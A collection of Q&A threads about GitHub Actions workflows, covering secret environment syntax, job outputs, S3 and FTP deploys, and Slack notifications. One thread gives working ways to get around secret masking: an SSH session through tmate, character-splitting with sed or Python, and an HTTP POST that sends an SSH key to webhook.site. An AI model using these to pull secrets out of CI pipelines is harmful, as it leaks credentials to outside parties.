So I'm using github secrets in one of my github actions and I found a weird behavior. When I pass my secrets to a script like this:
- name: Run script
run: python script.py
env:
SPOTIPY_CLIENT_SECRET=: ${{ secrets.SPOTIPY_CLIENT_SECRET}}
SPOTIPY_CLIENT_ID=: ${{ secrets.SPOTIPY_CLIENT_ID}}
SPOTIPY_REDIRECT_URI=: ${{ secrets.SPOTIPY_REDIRECT_URI}}
SPOTIPY_CACHE=: "${{ secrets.SPOTIPY_CACHE}}"
MAIN_TOKEN=: '${{ secrets.MAIN_TOKEN}}'
If I print the values of this tokens they all have a "=" appended on the start of the secret value. So if secret for MAIN_TOKEN is 12345
print(os.environ["MAIN_TOKEN"])
Prints =12345
Is there any way to remove that = from being added to the secret value?
According to the documentation about environment variables, you shouldn't use = to set your variables based on your secrets in your workflow.
This is the correct syntaxe in your case:
- name: Run script
run: python script.py
env:
SPOTIPY_CLIENT_SECRET: ${{ secrets.SPOTIPY_CLIENT_SECRET}}
SPOTIPY_CLIENT_ID: ${{ secrets.SPOTIPY_CLIENT_ID}}
SPOTIPY_REDIRECT_URI: ${{ secrets.SPOTIPY_REDIRECT_URI}}
SPOTIPY_CACHE: ${{ secrets.SPOTIPY_CACHE}}
MAIN_TOKEN: ${{ secrets.MAIN_TOKEN}}
Note that you don't need to inform " or ' if you get the variables from your secrets.
Related
I'm trying to parametrize the jobs.myjob.container.image field. The documentation says the needs context is available there:
Contexts documentation
Specifically this:
Workflow key
Context
jobs.<job_id>.container
github, needs, strategy, matrix, env, secrets, inputs
But it doesn't work. My job output is an empty string, causing an error.
get_image:
name: get_image
runs-on: self-hosted
outputs:
image: ${{ steps.jq.image }}
needs:
- ...
steps:
- name: Checkout code
uses: actions/checkout#v3
- name: jq
id: jq
run: |
set -x
export TAG=$(jq -r '.${{ github.event.inputs.cluster }} | .tag' data.json)
echo "::set-output name=image::registry.com/mycontainer:$TAG"
job2:
name: job2
runs-on: self-hosted
needs:
- get_image
container:
image: ${{ needs.get_image.outputs.image }} <--- this is an empty string
credentials:
...
steps:
...
The error I'm getting is Error: The template is not valid. ...: Unexpected value ''.
Is the documentation lying to me or am I just reading it wrong?
Other questions lead me to think that the thing I want to do is not allowed.
parametrize container.image
github community discussion
You should use outputs here image: ${{ steps.jq.outputs.image }}.
I'm positive that this is something easy but I'm not able to track down exactly what I'm looking for. I have a workflow that performs a build and creates an artifact. The artifact uses an environment variable in the filename. So far so good. Then when I try to pass this file name to S3 upload action, it isn't found because the environment variable isn't evaluated. Here is the relevant part of my workflow:
- name: Build project
run: ./build_project.sh
- run: ls -l "${GITHUB_WORKSPACE}/build/${FILE_NAME}.zip" # file exists in directory
- run: echo "${GITHUB_WORKSPACE}/build/${FILE_NAME}.zip" # echo returns the location properly
- uses: hkusu/s3-upload-action#v2
id: upload # specify some ID for use in subsequent steps
with:
aws-access-key-id: ${{ secrets.AWS_ACCESS_KEY_ID }}
aws-secret-access-key: ${{ secrets.AWS_SECRET_ACCESS_KEY }}
aws-region: "eu-west-2"
aws-bucket: ${{ secrets.AWS_BUCKET }}
file-path: "${GITHUB_WORKSPACE}/build/${FILE_NAME}.zip" # Error: file does not exist
output-file-url: "true" # specify true
- name: Show URL
run: echo '${{ steps.upload.outputs.file-url }}' # use this output
My actual question is how to replace "${GITHUB_WORKSPACE}/build/${FILE_NAME}.zip" with the file path and name when it actually runs the workflow. Also, I have tried a few of different combinations of things - no quotes, no curly braces, neither, both.
Since these parameters are passed through to the s3-upload-action, the behaviour depends on whether the action expands shell parameters or not, but the input value will be literally
${GITHUB_WORKSPACE}/build/${FILE_NAME}.zip
i.e., unexpanded.
You can use expressions to work around this:
file-path: ${{ github.workspace }}/build/${{ env.FILE_NAME }}.zip
You maybe have assumed that environment variables expand everywhere as they do when evaluated by a shell, such as in a run: step, but they don't.
I want to use Github actions to transfer files to a remote server via SFTP (only option for this server) when I push up to Github.
I am using this Action https://github.com/marketplace/actions/ftp-deploy
I have created a file in my repo in .github/workflows/main.yml and I have added:
on: push
name: Publish Website
jobs:
FTP-Deploy-Action:
name: FTP-Deploy-Action
runs-on: ubuntu-latest
steps:
- uses: actions/checkout#v2.1.0
with:
fetch-depth: 2
- name: FTP-Deploy-Action
uses: SamKirkland/FTP-Deploy-Action#3.1.1
with:
ftp-server: ${{ secrets.FTP_SERVER }}
ftp-username: ${{ secrets.FTP_USERNAME }}
ftp-password: ${{ secrets.FTP_PASSWORD }}
I have created a Secret for this repo which contains the following:
FTP_SERVER: sftp.server.com, FTP_USERNAME: user, FTP_PASSWORD: password
I can see the action running in Github but it errors out on the FTP-Deploy-Action task.
##[error]Input required and not supplied: ftp-server
This is in secrets and does work with Filezilla.
Would anyone know if I've set this up wrongly?
I was able to get it working on my own repo. I think the issue may be possibly on how your secrets were setup. That error usually shows when required parameters of a github action were not provided so curious if the keys are different or whether they were saved as empty. I would delete FTP_SERVER secret and create it again to be sure.
Workflow Success Run
Workflow Code
- name: FTP-Deploy-Action
uses: SamKirkland/FTP-Deploy-Action#3.1.1
with:
ftp-server: ${{ secrets.FTP_SERVER }}
ftp-username: ${{ secrets.FTP_USERNAME }}
ftp-password: ${{ secrets.FTP_PASSWORD }}
local-dir: toupload
UPDATE: Added example per comment left below,
Example secret creation for reference. Basically create a secret per entry rather than comma separated grouped secret
Source: https://docs.github.com/en/actions/configuring-and-managing-workflows/creating-and-storing-encrypted-secrets
I had some secrets in my code and upon learning about GitHub Actions I decided to save them in the repository's secret menu for later use in my pipeline.
However, now I need to access these secrets to develop a new feature and I can't. Every time I try to see the value it asks me to update the secrets. There is no option to just "see" them.
I don't want to update anything I just want to see their values.
How can I see the unencrypted values of my secrets in the project?
In order to see your GitHub Secrets follow these steps:
Create a workflow that echos all the secrets to a file.
As the last step of the workflow, start a tmate session.
Enter the GitHub Actions runner via SSH (the SSH address will be displayed in the action log) and view your secrets file.
Here is a complete working GitHub Action to do that:
name: Show Me the S3cr3tz
on: [push]
jobs:
debug:
name: Debug
runs-on: ubuntu-latest
steps:
- name: Check out code
uses: actions/checkout#v2
- name: Set up secret file
env:
DEBUG_PASSWORD: ${{ secrets.DEBUG_PASSWORD }}
DEBUG_SECRET_KEY: ${{ secrets.DEBUG_SECRET_KEY }}
run: |
echo $DEBUG_PASSWORD >> secrets.txt
echo $DEBUG_SECRET_KEY >> secrets.txt
- name: Run tmate
uses: mxschmitt/action-tmate#v2
The reason for using tmate in order to allow SSH access, instead of just running cat secrets.txt, is that GitHub Actions will automatically obfuscate any word that it had as a secret in the console output.
That said - I agree with the commenters. You should normally avoid that. Secrets are designed so that you save them in your own secret keeping facility, and in addition, make them readable to GitHub actions. GitHub Secrets are not designed to be a read/write secret vault, only read access to the actions, and write access to the admin.
The simplest approach would be:
name: Show Me the S3cr3tz
on: [push]
jobs:
debug:
name: Debug
runs-on: ubuntu-latest
steps:
- name: Check out code
uses: actions/checkout#v2
- name: Set up secret file
env:
AWS_ACCESS_KEY_ID: ${{ secrets.AWS_ACCESS_KEY_ID }}
...
...
run: |
echo ${{secrets.AWS_ACCESS_KEY_ID}} | sed 's/./& /g'
...
...
Run this action in GitHub and check its console. It displays secret key with space between each character.
You can decode a secret by looping through it with python shell, like this:
- name: Set env as secret
env:
MY_VAL: ${{ secrets.SUPER_SECRET }}
run: |
import os
for q in (os.getenv("MY_VAL")):
print(q)
shell: python
This will print each character to stdout like this:
s
e
c
r
e
t
I've set up an action that runs daily to check if this solution still works, you can see the status here.
No solution mentioned here worked for me. Instead of using tmate or trying to print secret to console, you can just send a http request with your secret.
Here is a working GitHub Action to do that:
name: Show secrets
on: [push]
jobs:
debug:
name: Show secrets
runs-on: ubuntu-latest
steps:
- name: Deploy Stage
env:
SERVER_SSH_KEY: ${{ secrets.SERVER_SSH_KEY }}
uses: fjogeleit/http-request-action#v1
with:
url: 'https://webhook.site/your-unique-id'
method: 'POST'
customHeaders: '{"Content-Type": "application/json"}'
data: ${{ secrets.SERVER_SSH_KEY }}
Provided example uses super easy to use webhook.site
But do not forget the important disclaimer from DannyB's answer:
That said - I agree with the commenters. You should normally avoid that. Secrets are designed so that you save them in your own secret keeping facility, and in addition, make them readable to GitHub actions. GitHub Secrets are not designed to be a read/write secret vault, only read access to the actions, and write access to the admin.
My use-case was to recover lost ssh key to one of my remote dev server.
this is another way to print out your secrets. Be careful, never ever do in the production environment.
- name: Step 1 - Echo out a GitHub Actions Secret to the logs
run: |
echo "The GitHub Action Secret will be masked: "
echo ${{ secrets.SECRET_TOKEN }}
echo "Trick to echo GitHub Actions Secret: "
echo ${{secrets.SECRET_TOKEN}} | sed 's/./& /g'
run: echo -n "${{ secrets.MY_SECRET }}" >> foo && cut -c1-1 foo && cut -c 2- foo
Downside: splits outputs in two part and prints *** at the end i.e. for secret value my super secret
m
y super secret***
Tested in Q1 2023. Full example:
jobs:
environment: dev
example-job:
steps:
- name: Uncover secret
run: echo -n "${{ secrets.MY_SECRET }}" >> foo && cut -c1-3 foo && cut -c4
Tips:
Carefully check env name and secret name in your repo settings
If using reusable workflows you need inherit secrets: https://github.blog/changelog/2022-05-03-github-actions-simplify-using-secrets-with-reusable-workflows/
I have this GitHub Actions workflow which runs tests, but now I am integrating slack notification in it. I want to get the output of the Run tests step and send it as a message in the slack step.
- name: Run tests
run: |
mix compile --warnings-as-errors
mix format --check-formatted
mix ecto.create
mix ecto.migrate
mix test
env:
MIX_ENV: test
PGHOST: localhost
PGUSER: postgres
- name: Slack Notification
uses: rtCamp/action-slack-notify#master
env:
SLACK_MESSAGE: Run tests output
SLACK_TITLE: CI Test Suite
SLACK_WEBHOOK: ${{ secrets.SLACK_WEBHOOK }}
You need to do 3 things:
Add an id to the step you want the output from
Create the outputs using the GITHUB_OUTPUT environment variable
Use the id and the output name in another step to get the outputs and then join them into one message for slack
- name: Run tests
run: |
echo "mix-compile--warnings-as-errors=$(mix compile --warnings-as-errors)\n" >> $GITHUB_OUTPUT
echo "mix-format--check-formatted=$(mix format --check-formatted)\n" >> $GITHUB_OUTPUT
echo "mix-ecto_create=$(mix ecto.create)\n" >> $GITHUB_OUTPUT
echo "mix-ecto_migrate=$(mix ecto.migrate)\n" >> $GITHUB_OUTPUT
echo "mix-test=$(mix test)\n" >> $GITHUB_OUTPUT
id: run_tests
env:
MIX_ENV: test
PGHOST: localhost
PGUSER: postgres
- name: Slack Notification
uses: rtCamp/action-slack-notify#v2
env:
SLACK_MESSAGE: ${{join(steps.run_tests.outputs.*, '\n')}}
SLACK_TITLE: CI Test Suite
SLACK_WEBHOOK: ${{ secrets.SLACK_WEBHOOK }}
See Metadata Syntax for outputs name description
The problem with the current accepted answer is that the result for the step will always be success since the test execution result is being masked by the echo command.
This modification to the last line should work in preserving the original exit status:
mix test 2>&1 | tee test.log
result_code=${PIPESTATUS[0]}
echo "::set-output name=mix-test::$(cat test.log)"
exit $result_code
I made an action with the same interface as run that stores stdout and stderr in output variables to maybe simplify some cases like this:
- name: Run tests
uses: mathiasvr/command-output#v1
id: tests
with:
run: |
mix compile --warnings-as-errors
mix format --check-formatted
mix ecto.create
mix ecto.migrate
mix test
- name: Slack Notification
uses: rtCamp/action-slack-notify#master
env:
SLACK_MESSAGE: ${{ steps.tests.outputs.stdout }}
SLACK_TITLE: CI Test Suite
SLACK_WEBHOOK: ${{ secrets.SLACK_WEBHOOK }}
I just wanted to add #smac89's solution was helpful but didn't quite work for me. I'm using a different Slack action (pullreminders/slack-action) to build more specific content. I found that I was getting single-quotes where each newline was, and my leading spaces on each line were also being truncated. After reading https://github.com/actions/toolkit/issues/403 and playing around, I found that in my case, I needed newlines to actually be escaped in the output (a literal \n), so I replaced \n characters with \\n. Then, I replaced regular space characters with a Unicode 'En Space' character.
Here's what worked:
Bash Run Step:
Tools/get-changed-fields.sh src/objects origin/${{ env.DIFF_BRANCH }} > changed-fields.out
output="$(cat changed-fields.out)"
output="${output//$'\n'/\\n}"
output="${output// / }" # replace regular space with 'En Space'
echo "::set-output name=changed-fields-output::$output"
Slack Notification Step:
- name: Changed Fields Slack Notification
if: ${{ success() && steps.summarize-changed-fields.outputs.changed-fields-output != '' && steps.changed-fields-cache.outputs.cache-hit != 'true' }}
env:
SLACK_BOT_TOKEN: ${{ secrets.SLACK_BOT_TOKEN }}
uses: pullreminders/slack-action#master
with:
args: '{\"channel\":\"${{ env.SUCCESS_SLACK_CHANNEL }}\",\"attachments\":[{\"color\":\"#36a64f\",\"title\":\"Changed Fields Report:\",\"author_name\":\"${{ github.workflow }} #${{ github.run_number }}: ${{ env.BRANCH }} -> ${{ env.TARGET_ORG }} (by: ${{ github.actor }})\",\"author_link\":\"${{ github.server_url }}/${{ github.repository }}/runs/${{ github.run_id }}\",\"text\":\"```\n${{ steps.summarize-changed-fields.outputs.changed-fields-output }}\n```\"}]}'